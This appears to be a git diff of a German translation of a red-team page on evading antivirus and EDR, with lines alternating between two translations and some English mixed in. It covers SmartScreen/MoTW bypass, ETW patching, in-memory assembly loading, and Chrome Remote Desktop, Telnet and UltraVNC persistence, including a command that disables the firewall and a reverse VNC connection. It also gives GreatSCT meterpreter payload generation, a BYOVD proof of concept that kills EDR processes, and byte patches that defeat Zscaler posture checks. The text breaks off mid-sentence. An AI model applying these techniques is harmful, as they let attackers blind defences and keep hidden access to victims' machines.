[**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Ziel dieses Projekts ist es, einen Open-Source-Fork der [LLVM](http://www.llvm.org/) Kompilierungs-Suite bereitzustellen, der erhöhte Software-Sicherheit durch [code obfuscation]() und Manipulationsschutz bietet. +- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstriert, wie man die Sprache `C++11/14` verwendet, um zur Kompilierzeit obfuscated code zu erzeugen, ohne externe Tools zu verwenden und ohne den Compiler zu verändern. +- [**obfy**](https://github.com/fritzone/obfy): Fügt eine Schicht obfuscated operations hinzu, die vom C++ template metaprogramming framework erzeugt wird und das Leben der Person, die versucht, die Anwendung zu knacken, etwas erschwert. +- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz ist ein x64 binary obfuscator, der verschiedene pe files obfuskieren kann, einschließlich: .exe, .dll, .sys +- [**metame**](https://github.com/a0rtega/metame): Metame ist eine einfache metamorphic code engine für beliebige Executables. +- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ist ein feinkörniges code obfuscation framework für LLVM-unterstützte Sprachen, das ROP (return-oriented programming) verwendet. ROPfuscator obfuscates ein Programm auf Assembly-Ebene, indem normale Instruktionen in ROP-Ketten transformiert werden und somit unsere gewohnte Vorstellung von normalem Kontrollfluss unterläuft. - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt ist ein .NET PE Crypter geschrieben in Nim -- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor kann bestehende EXE/DLL in shellcode konvertieren und diese dann laden +- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor kann vorhandene EXE/DLL in shellcode konvertieren und diese dann laden ## SmartScreen & MoTW -Möglicherweise haben Sie diesen Bildschirm gesehen, wenn Sie ausführbare Dateien aus dem Internet heruntergeladen und ausgeführt haben. +You may have seen this screen when downloading some executables from the internet and executing them. -Microsoft Defender SmartScreen ist ein Sicherheitsmechanismus, der den Endbenutzer davor schützen soll, potenziell schädliche Anwendungen auszuführen. +Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.
-SmartScreen arbeitet hauptsächlich auf Basis eines reputationsbasierten Ansatzes. Das bedeutet, dass selten heruntergeladene Anwendungen SmartScreen auslösen, wodurch der Endbenutzer gewarnt wird und die Ausführung der Datei verhindert wird (obwohl die Datei weiterhin über Mehr Informationen -> Trotzdem ausführen ausgeführt werden kann). +SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway). -**MoTW** (Mark of The Web) ist ein [NTFS Alternate Data Stream]() mit dem Namen Zone.Identifier, der beim Herunterladen von Dateien aus dem Internet automatisch erstellt wird, zusammen mit der URL, von der die Datei heruntergeladen wurde. +**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream]() with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from. -

Prüfen des Zone.Identifier-ADS einer aus dem Internet heruntergeladenen Datei.

+

Überprüfung des Zone.Identifier ADS für eine aus dem Internet heruntergeladene Datei.

> [!TIP] > Es ist wichtig zu beachten, dass ausführbare Dateien, die mit einem **vertrauenswürdigen** Signaturzertifikat signiert sind, **SmartScreen nicht auslösen**. -Ein sehr effektiver Weg, zu verhindern, dass Ihre payloads das Mark of The Web erhalten, besteht darin, sie in einen Container wie eine ISO zu packen. Das liegt daran, dass Mark-of-the-Web (MOTW) **nicht** auf **nicht-NTFS**-Volumes angewendet werden kann. +A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes.
-[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) ist ein Tool, das payloads in Ausgabecontainer verpackt, um Mark-of-the-Web zu umgehen. +[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web. -Example usage: +Beispielverwendung: ```bash PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso @@ -387,134 +424,134 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files ## ETW -Event Tracing for Windows (ETW) ist ein mächtiger Logging-Mechanismus in Windows, der Anwendungen und Systemkomponenten erlaubt, **Ereignisse zu protokollieren**. Er kann jedoch auch von Sicherheitsprodukten genutzt werden, um bösartige Aktivitäten zu überwachen und zu erkennen. +Event Tracing for Windows (ETW) ist ein leistungsfähiger Logging-Mechanismus in Windows, der Anwendungen und Systemkomponenten ermöglicht, **Ereignisse zu protokollieren**. Er kann jedoch auch von Sicherheitsprodukten genutzt werden, um bösartige Aktivitäten zu überwachen und zu erkennen. -Ähnlich wie AMSI deaktiviert (umgangen) werden kann, ist es auch möglich, die Funktion **`EtwEventWrite`** eines user space process so zu manipulieren, dass sie sofort zurückkehrt, ohne Ereignisse zu protokollieren. Dies geschieht, indem die Funktion im Speicher gepatcht wird, sodass sie sofort zurückkehrt und damit das ETW-Logging für diesen Prozess effektiv deaktiviert. +Ähnlich wie AMSI deaktiviert (umgangen) wird, ist es auch möglich, die Funktion `EtwEventWrite` des User-Space-Prozesses so zu patchen, dass sie sofort zurückkehrt, ohne irgendwelche Ereignisse zu protokollieren. Dadurch wird das ETW-Logging für diesen Prozess effektiv deaktiviert. -You can find more info in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**. +Mehr Informationen finden Sie in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**. ## C# Assembly Reflection -Das Laden von C#-Binaries in den Speicher ist schon seit einiger Zeit bekannt und ist weiterhin eine sehr gute Methode, um deine post-exploitation Tools auszuführen, ohne von AV entdeckt zu werden. +Das Laden von C#-Binaries im Speicher ist seit einiger Zeit bekannt und ist weiterhin eine sehr gute Methode, um Ihre Post-Exploitation-Tools auszuführen, ohne vom AV entdeckt zu werden. -Da das Payload direkt in den Speicher geladen wird, ohne die Festplatte zu berühren, müssen wir uns nur um das Patchen von AMSI für den gesamten Prozess kümmern. +Da das Payload direkt in den Speicher geladen wird, ohne die Festplatte zu berühren, müssen wir uns nur darum kümmern, AMSI für den gesamten Prozess zu patchen. -Die meisten C2-Frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) bieten bereits die Möglichkeit, C#-Assemblies direkt im Speicher auszuführen, aber es gibt verschiedene Möglichkeiten, dies zu tun: +Die meisten C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) bieten bereits die Möglichkeit, C#-Assemblies direkt im Speicher auszuführen, aber es gibt verschiedene Ansätze dafür: - **Fork\&Run** -Dabei wird ein **neuer Opferprozess gestartet**, dein post-exploitation Schadcode in diesen neuen Prozess injiziert, der Schadcode ausgeführt und nach Beendigung der neue Prozess wieder beendet. Das hat sowohl Vorteile als auch Nachteile. Der Vorteil der Fork-and-Run-Methode ist, dass die Ausführung **außerhalb** unseres Beacon-Implantatprozesses stattfindet. Das bedeutet, wenn bei einer post-exploitation Aktion etwas schiefgeht oder entdeckt wird, besteht eine **viel größere Chance**, dass unser **Implant überlebt.** Der Nachteil ist, dass du eine **größere Chance** hast, von **Behavioural Detections** entdeckt zu werden. +Dabei wird ein **neuer "opfer"-Prozess erzeugt**, in den Ihr post-exploitation bösartiger Code injiziert wird. Sie führen den Code in diesem neuen Prozess aus und beenden ihn nach Abschluss. Das hat Vor- und Nachteile. Der Vorteil der Fork-and-Run-Methode ist, dass die Ausführung **außerhalb** unseres Beacon-Implantats stattfindet. Das bedeutet, wenn etwas bei unserer Post-Exploitation-Aktion schiefgeht oder entdeckt wird, besteht eine **viel größere Chance**, dass unser **Implant überlebt**. Der Nachteil ist, dass Sie eine **höhere Wahrscheinlichkeit** haben, durch **Behavioural Detections** entdeckt zu werden.
- **Inline** -Hierbei injizierst du den post-exploitation Schadcode **in den eigenen Prozess**. Auf diese Weise vermeidest du das Erstellen eines neuen Prozesses und dessen Scan durch AV, aber der Nachteil ist, dass wenn bei der Ausführung deines Payloads etwas schiefgeht, die **Wahrscheinlichkeit deutlich höher** ist, dein **Beacon zu verlieren**, da der Prozess abstürzen könnte. +Hierbei wird der post-exploitation bösartige Code **in den eigenen Prozess** injiziert. Dadurch können Sie vermeiden, einen neuen Prozess zu erstellen, der von AV gescannt wird. Der Nachteil ist jedoch, dass, wenn bei der Ausführung Ihres Payloads etwas schiefgeht, die **Wahrscheinlichkeit, dass Ihr Beacon verloren geht**, deutlich höher ist, da der Prozess abstürzen könnte.
> [!TIP] -> Wenn du mehr über das Laden von C#-Assemblies lesen möchtest, sieh dir diesen Artikel an [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) und deren InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) +> Wenn Sie mehr über das Laden von C#-Assemblies lesen möchten, sehen Sie sich diesen Artikel an [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) und deren InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) -Du kannst C#-Assemblies auch **aus PowerShell** laden, siehe [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) und [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk). +Sie können C#-Assemblies auch **aus PowerShell** laden, siehe [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) und [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk). -## Using Other Programming Languages +## Verwendung anderer Programmiersprachen -Wie in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) vorgeschlagen, ist es möglich, bösartigen Code mit anderen Sprachen auszuführen, indem der kompromittierten Maschine Zugriff auf die Interpreter-Umgebung gewährt wird, die auf dem vom Angreifer kontrollierten SMB-Share installiert ist. +Wie in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) vorgeschlagen, ist es möglich, bösartigen Code mit anderen Sprachen auszuführen, indem der kompromittierten Maschine Zugriff **auf die auf dem vom Angreifer kontrollierten SMB-Share installierte Interpreter-Umgebung** gegeben wird. -Durch den Zugriff auf die Interpreter-Binaries und die Umgebung auf dem SMB-Share kannst du **beliebigen Code in diesen Sprachen im Speicher** der kompromittierten Maschine ausführen. +Durch den Zugriff auf die Interpreter-Binaries und die Umgebung auf dem SMB-Share können Sie **beliebigen Code in diesen Sprachen im Speicher** der kompromittierten Maschine ausführen. -Im Repo heißt es: Defender scannt die Skripte weiterhin, aber durch die Nutzung von Go, Java, PHP etc. haben wir **mehr Flexibilität, statische Signaturen zu umgehen**. Tests mit zufälligen, nicht verschleierten reverse shell Skripten in diesen Sprachen haben sich als erfolgreich erwiesen. +Das Repo weist darauf hin: Defender scannt die Skripte weiterhin, aber durch die Nutzung von Go, Java, PHP etc. haben wir **mehr Flexibilität, um statische Signaturen zu umgehen**. Tests mit zufälligen, nicht obfuskierten Reverse-Shell-Skripten in diesen Sprachen waren erfolgreich. ## TokenStomping -Token stomping ist eine Technik, die einem Angreifer erlaubt, das Access Token oder ein Sicherheitsprodukt wie ein EDR oder AV zu manipulieren, wodurch dessen Privilegien reduziert werden, so dass der Prozess nicht beendet wird, aber nicht die Berechtigungen hat, nach bösartigen Aktivitäten zu prüfen. +Token stomping ist eine Technik, die es einem Angreifer erlaubt, mit dem Access-Token oder einem Sicherheitsprodukt wie einem EDR oder AV zu manipulieren, sodass dessen Rechte reduziert werden — der Prozess stirbt nicht, hat aber nicht mehr die Berechtigungen, um nach bösartigen Aktivitäten zu suchen. -Um dies zu verhindern, könnte Windows **externe Prozesse** daran hindern, Handles auf die Tokens von Sicherheitsprozessen zu erhalten. +Um dies zu verhindern, könnte Windows **verhindern, dass externe Prozesse Handles auf die Tokens von Sicherheitsprozessen** erhalten. - [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/) - [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp) - [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF) -## Using Trusted Software +## Verwendung vertrauenswürdiger Software ### Chrome Remote Desktop -Wie in [**diesem Blogpost**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) beschrieben, ist es einfach, Chrome Remote Desktop auf dem PC eines Opfers zu installieren und es dann zur Übernahme und zum Aufrechterhalten von Persistence zu nutzen: -1. Lade von https://remotedesktop.google.com/ herunter, klicke auf "Set up via SSH" und dann auf die MSI-Datei für Windows, um die MSI-Datei herunterzuladen. -2. Führe den Installer auf dem Opfer stumm aus (Administratorrechte erforderlich): `msiexec /i chromeremotedesktophost.msi /qn` -3. Kehre zur Chrome Remote Desktop-Seite zurück und klicke auf Weiter. Der Assistent wird dich dann zur Autorisierung auffordern; klicke auf die Authorize-Schaltfläche, um fortzufahren. -4. Führe den angegebenen Parameter mit einigen Anpassungen aus: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Hinweis: der pin-Parameter erlaubt es, die PIN zu setzen, ohne die GUI zu verwenden). +Wie in [**diesem Blogpost**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) beschrieben, ist es einfach, Chrome Remote Desktop auf einem Opfer-PC zu installieren und es dann zu verwenden, um diesen zu übernehmen und Persistenz zu gewährleisten: +1. Laden Sie von https://remotedesktop.google.com/ herunter, klicken Sie auf "Set up via SSH" und dann auf die MSI-Datei für Windows, um die MSI-Datei herunterzuladen. +2. Führen Sie den Installer silent auf dem Opfer aus (Administrator erforderlich): `msiexec /i chromeremotedesktophost.msi /qn` +3. Gehen Sie zurück zur Chrome Remote Desktop-Seite und klicken Sie auf Weiter. Der Assistent fordert Sie dann zur Authorisierung auf; klicken Sie zur Fortsetzung auf die Authorize-Schaltfläche. +4. Führen Sie den angegebenen Parameter mit einigen Anpassungen aus: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Beachten Sie den pin-Parameter, mit dem die PIN ohne Verwendung der GUI gesetzt werden kann). -## Advanced Evasion +## Erweiterte Evasion -Evasion ist ein sehr komplexes Thema; manchmal musst du viele verschiedene Telemetrie-Quellen in einem einzigen System berücksichtigen, daher ist es in reifen Umgebungen nahezu unmöglich, vollständig unentdeckt zu bleiben. +Evasion ist ein sehr komplexes Thema; manchmal muss man viele verschiedene Telemetriequellen in einem einzigen System berücksichtigen, sodass es nahezu unmöglich ist, in reifen Umgebungen komplett unentdeckt zu bleiben. -Jede Umgebung, gegen die du vorgehst, hat ihre eigenen Stärken und Schwächen. +Jede Umgebung, gegen die Sie vorgehen, hat ihre eigenen Stärken und Schwächen. -Ich empfehle dringend, dir diesen Talk von [@ATTL4S](https://twitter.com/DaniLJ94) anzusehen, um einen Einstieg in fortgeschrittene Evasion-Techniken zu bekommen. +Ich empfehle dringend, sich diesen Vortrag von [@ATTL4S](https://twitter.com/DaniLJ94) anzusehen, um einen Einstieg in fortgeschrittene Evasion-Techniken zu bekommen. {{#ref}} https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo {{#endref}} -Dies ist auch ein großartiger Talk von [@mariuszbit](https://twitter.com/mariuszbit) über Evasion in Depth. +Das ist auch ein großartiger Vortrag von [@mariuszbit](https://twitter.com/mariuszbit) über Evasion in der Tiefe. {{#ref}} https://www.youtube.com/watch?v=IbA7Ung39o4 {{#endref}} -## **Old Techniques** +## **Alte Techniken** -### **Check which parts Defender finds as malicious** +### **Überprüfen, welche Teile Defender als bösartig erkennt** -Du kannst [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) verwenden, das **Teile der Binary entfernt**, bis es **herausfindet, welcher Teil Defender** als bösartig erkennt und es für dich aufsplittert.\ -Ein weiteres Tool, das **das Gleiche macht, ist** [**avred**](https://github.com/dobin/avred) mit einem offenen Webservice unter [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) +Sie können [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) verwenden, das **Teile der Binary entfernt**, bis es **herausfindet, welchen Teil Defender** als bösartig identifiziert, und es für Sie aufschlüsselt.\ +Ein weiteres Tool, das **das Gleiche tut, ist** [**avred**](https://github.com/dobin/avred) mit einem offenen Web-Service unter [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) ### **Telnet Server** -Bis Windows10 wurde Windows standardmäßig mit einem **Telnet server** ausgeliefert, den man (als Administrator) installieren konnte durch: +Bis Windows10 wurde allen Windows-Versionen ein **Telnet-Server** mitgeliefert, den Sie (als Administrator) installieren konnten, indem Sie: ```bash pkgmgr /iu:"TelnetServer" /quiet ``` -Stellen Sie es so ein, dass es beim Systemstart **startet**, und **führen** Sie es jetzt aus: +Lass es beim Systemstart **starten** und **jetzt ausführen**: ```bash sc config TlntSVR start= auto obj= localsystem ``` -**telnet-Port ändern** (verdeckt) und Firewall deaktivieren: +**Telnet-Port ändern** (stealth) und Firewall deaktivieren: ``` tlntadmn config port=80 netsh advfirewall set allprofiles state off ``` ### UltraVNC -Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup) +Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (du möchtest die bin-Downloads, nicht das Setup) -**ON THE HOST**: Führe _**winvnc.exe**_ aus und konfiguriere den Server: +**AUF DEM HOST**: Führe _**winvnc.exe**_ aus und konfiguriere den Server: - Aktiviere die Option _Disable TrayIcon_ -- Setze ein Passwort bei _VNC Password_ -- Setze ein Passwort bei _View-Only Password_ +- Setze ein Passwort in _VNC Password_ +- Setze ein Passwort in _View-Only Password_ -Verschiebe dann die Binary _**winvnc.exe**_ und die **neu erstellte** Datei _**UltraVNC.ini**_ auf dem **victim** +Verschiebe dann die Binärdatei _**winvnc.exe**_ und die neu erstellte Datei _**UltraVNC.ini**_ in den **victim** #### **Reverse connection** -Der **attacker** sollte auf seinem **host** das Binary `vncviewer.exe -listen 5900` ausführen, damit es bereit ist, eine reverse VNC connection abzufangen. Dann, auf dem **victim**: Starte den winvnc-Daemon `winvnc.exe -run` und führe `winwnc.exe [-autoreconnect] -connect ::5900` aus +Der **attacker** sollte auf seinem **host** das Binary `vncviewer.exe -listen 5900` ausführen, damit es bereit ist, eine reverse **VNC connection** zu empfangen. Dann, auf dem **victim**: Starte den winvnc-Daemon `winvnc.exe -run` und führe `winwnc.exe [-autoreconnect] -connect ::5900` aus -**WARNUNG:** Um unauffällig zu bleiben, darfst du ein paar Dinge nicht tun +**WARNUNG:** Um unauffällig zu bleiben, darfst du folgende Dinge nicht tun - Starte `winvnc` nicht, wenn es bereits läuft, sonst löst du ein [popup](https://i.imgur.com/1SROTTl.png) aus. Prüfe, ob es läuft mit `tasklist | findstr winvnc` -- Starte `winvnc` nicht ohne `UltraVNC.ini` im selben Verzeichnis, sonst öffnet sich [das config window](https://i.imgur.com/rfMQWcf.png) -- Rufe nicht `winvnc -h` auf, da sonst ein [popup](https://i.imgur.com/oc18wcu.png) ausgelöst wird +- Starte `winvnc` nicht ohne `UltraVNC.ini` im selben Verzeichnis, sonst wird sich [the config window](https://i.imgur.com/rfMQWcf.png) öffnen +- Führe `winvnc -h` nicht aus, um Hilfe zu erhalten, sonst löst du ein [popup](https://i.imgur.com/oc18wcu.png) aus ### GreatSCT -Herunterladen von: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT) +Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT) ``` git clone https://github.com/GreatSCT/GreatSCT.git cd GreatSCT/setup/ @@ -522,7 +559,7 @@ cd GreatSCT/setup/ cd .. ./GreatSCT.py ``` -Innerhalb von GreatSCT: +Im Inneren von GreatSCT: ``` use 1 list #Listing available payloads @@ -532,7 +569,7 @@ sel lport 4444 generate #payload is the default name #This will generate a meterpreter xml and a rcc file for msfconsole ``` -Starte jetzt den Lister mit `msfconsole -r file.rc` und führe die **xml payload** damit aus: +Starte jetzt **den lister** mit `msfconsole -r file.rc` und **führe** die **xml payload** mit: ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml ``` @@ -645,7 +682,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f {{#endref}} -Liste von C# Obfuscators: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator) +Liste von C#-Obfuskatoren: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator) ### C++ ``` @@ -660,11 +697,11 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec - [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html) - [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/) -### Verwendung von Python zum Erstellen von injectors — Beispiel: +### Beispiel: Verwendung von python für build injectors: - [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo) -### Weitere Tools +### Andere Tools ```bash # Veil Framework: https://github.com/Veil-Framework/Veil @@ -693,24 +730,24 @@ https://github.com/praetorian-code/vulcan - [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion) -## Bring Your Own Vulnerable Driver (BYOVD) – AV/EDR aus dem Kernel-Bereich deaktivieren +## Bring Your Own Vulnerable Driver (BYOVD) – AV/EDR aus dem Kernelbereich abschalten -Storm-2603 nutzte ein kleines Konsolenwerkzeug namens **Antivirus Terminator**, um Endpoint-Schutzmechanismen zu deaktivieren, bevor Ransomware abgelegt wurde. Das Tool bringt seinen **eigenen verwundbaren, aber *signierten* Treiber** mit und missbraucht ihn, um privilegierte Kernel-Operationen auszuführen, die selbst Protected-Process-Light (PPL) AV-Dienste nicht blockieren können. +Storm-2603 nutzte ein kleines Konsolenprogramm namens **Antivirus Terminator**, um Endpoint-Schutz zu deaktivieren, bevor Ransomware installiert wurde. Das Tool bringt seinen **eigenen verwundbaren, aber *signierten* Treiber** mit und missbraucht ihn, um privilegierte Kernel-Operationen auszuführen, die selbst Protected-Process-Light (PPL) AV-Dienste nicht blockieren können. Wichtigste Erkenntnisse -1. **Signierter Treiber**: Die auf die Festplatte platzierte Datei ist `ServiceMouse.sys`, das Binary ist jedoch der rechtmäßig signierte Treiber `AToolsKrnl64.sys` aus Antiy Labs’ „System In-Depth Analysis Toolkit“. Da der Treiber eine gültige Microsoft-Signatur trägt, wird er selbst bei aktiviertem Driver-Signature-Enforcement (DSE) geladen. -2. Service-Installation: +1. **Signierter Treiber**: Die auf die Festplatte abgelegte Datei heißt `ServiceMouse.sys`, der Binärinhalt ist jedoch der legitim signierte Treiber `AToolsKrnl64.sys` aus Antiy Labs’ “System In-Depth Analysis Toolkit”. Da der Treiber eine gültige Microsoft-Signatur trägt, wird er auch geladen, wenn Driver-Signature-Enforcement (DSE) aktiviert ist. +2. **Service-Installation**: ```powershell sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys" sc start ServiceMouse ``` -Die erste Zeile registriert den Treiber als **Kernel-Service** und die zweite startet ihn, sodass `\\.\ServiceMouse` aus dem User-Land erreichbar wird. -3. Vom Treiber bereitgestellte IOCTLs -| IOCTL code | Fähigkeit | -|-----------:|-----------------------------------------| -| `0x99000050` | Einen beliebigen Prozess per PID beenden (wird verwendet, um Defender/EDR-Services zu stoppen) | +Die erste Zeile registriert den Treiber als **kernel service** und die zweite startet ihn, sodass `\\.\ServiceMouse` aus dem Userland zugänglich wird. +3. **Vom Treiber exponierte IOCTLs** +| IOCTL code | Funktion | +|-----------:|---------------------------------------| +| `0x99000050` | Einen beliebigen Prozess per PID beenden (wird genutzt, um Defender/EDR-Dienste zu killen) | | `0x990000D0` | Beliebige Datei auf der Festplatte löschen | -| `0x990001D0` | Treiber entladen und Dienst entfernen | +| `0x990001D0` | Den Treiber entladen und den Service entfernen | Minimaler C-Proof-of-Concept: ```c @@ -724,25 +761,25 @@ CloseHandle(hDrv); return 0; } ``` -4. **Warum das funktioniert**: BYOVD umgeht vollständig user-mode Schutzmechanismen; Code, der im Kernel ausgeführt wird, kann *geschützte* Prozesse öffnen, beenden oder Kernel-Objekte manipulieren, unabhängig von PPL/PP, ELAM oder anderen Härtungsmaßnahmen. +4. **Warum es funktioniert**: BYOVD umgeht User-Mode-Schutzmechanismen vollständig; Code, der im Kernel ausgeführt wird, kann *protected* Prozesse öffnen, sie beenden oder mit Kernel-Objekten manipulieren, unabhängig von PPL/PP, ELAM oder anderen Härtungsmechanismen. Erkennung / Gegenmaßnahmen -• Aktivieren Sie Microsofts Liste blockierter verwundbarer Treiber (`HVCI`, `Smart App Control`), damit Windows das Laden von `AToolsKrnl64.sys` verweigert. -• Überwachen Sie die Erstellung neuer *Kernel*-Dienste und alarmieren Sie, wenn ein Treiber aus einem global beschreibbaren Verzeichnis geladen wird oder nicht auf der Allow-List steht. -• Achten Sie auf User-Mode Handles zu benutzerdefinierten Device-Objekten, gefolgt von verdächtigen `DeviceIoControl`-Aufrufen. +• Aktivieren Sie Microsofts Vulnerable-Driver-Blockliste (`HVCI`, `Smart App Control`), sodass Windows das Laden von `AToolsKrnl64.sys` verweigert. +• Überwachen Sie das Erstellen neuer *kernel* services und alarmieren Sie, wenn ein Treiber aus einem für alle schreibbaren Verzeichnis geladen wird oder nicht auf der Allow-List steht. +• Achten Sie auf User-Mode-Handles zu benutzerdefinierten Device-Objekten, gefolgt von verdächtigen `DeviceIoControl`-Aufrufen. -### Umgehung der Zscaler Client Connector Posture-Prüfungen durch On-Disk Binary Patching +### Umgehung der Posture-Checks des Zscaler Client Connector durch Patchen signierter Binaries auf der Festplatte -Der **Client Connector** von Zscaler wertet Device-Posture-Regeln lokal aus und verwendet Windows RPC, um die Ergebnisse an andere Komponenten zu übermitteln. Zwei schwache Designentscheidungen ermöglichen eine vollständige Umgehung: +Zscalers **Client Connector** führt device-posture-Regeln lokal aus und nutzt Windows RPC, um die Ergebnisse an andere Komponenten zu übermitteln. Zwei schwache Designentscheidungen machen eine vollständige Umgehung möglich: -1. Die Posture-Bewertung erfolgt **ausschließlich clientseitig** (ein Boolean wird an den Server gesendet). -2. Interne RPC-Endpunkte prüfen nur, dass die verbindende ausführbare Datei **von Zscaler signiert** ist (via `WinVerifyTrust`). +1. Die Posture-Evaluierung findet **vollständig clientseitig** statt (ein boolescher Wert wird an den Server gesendet). +2. Interne RPC-Endpunkte validieren nur, dass die verbindende ausführbare Datei **von Zscaler signiert** ist (via `WinVerifyTrust`). -Durch **Patchen von vier signierten Binärdateien auf der Festplatte** können beide Mechanismen neutralisiert werden: +Durch das **Patchen von vier signierten Binaries auf der Festplatte** können beide Mechanismen neutralisiert werden: -| Binary | Ursprüngliche Logik gepatcht | Ergebnis | -|--------|------------------------------|---------| -| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Gibt immer `1` zurück, sodass jede Prüfung compliant ist | +| Binary | Original logic patched | Result | +|--------|------------------------|---------| +| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Gibt immer `1` zurück, sodass jede Prüfung als konform gilt | | `ZSAService.exe` | Indirekter Aufruf von `WinVerifyTrust` | NOP-ed ⇒ jeder (auch unsignierte) Prozess kann sich an die RPC-Pipes binden | | `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Ersetzt durch `mov eax,1 ; ret` | | `ZSATunnel.exe` | Integritätsprüfungen am Tunnel | Kurzgeschlossen | @@ -761,33 +798,33 @@ else: f.seek(off) f.write(replacement) ``` -Nachdem die Originaldateien ersetzt und der Service-Stack neu gestartet wurden: +Nach dem Ersetzen der Originaldateien und dem Neustart des Service-Stacks: * **Alle** Posture-Checks zeigen **grün/konform** an. -* Unsigned oder modifizierte Binaries können die named-pipe RPC-Endpunkte öffnen (z. B. `\\RPC Control\\ZSATrayManager_talk_to_me`). +* Nicht signierte oder modifizierte Binärdateien können die named-pipe RPC-Endpunkte öffnen (z. B. `\\RPC Control\\ZSATrayManager_talk_to_me`). * Der kompromittierte Host erhält uneingeschränkten Zugriff auf das interne Netzwerk, das durch die Zscaler-Policies definiert ist. -Diese Fallstudie zeigt, wie rein clientseitige Vertrauensentscheidungen und einfache Signaturprüfungen mit wenigen Byte-Patches umgangen werden können. +Diese Fallstudie zeigt, wie rein clientseitige 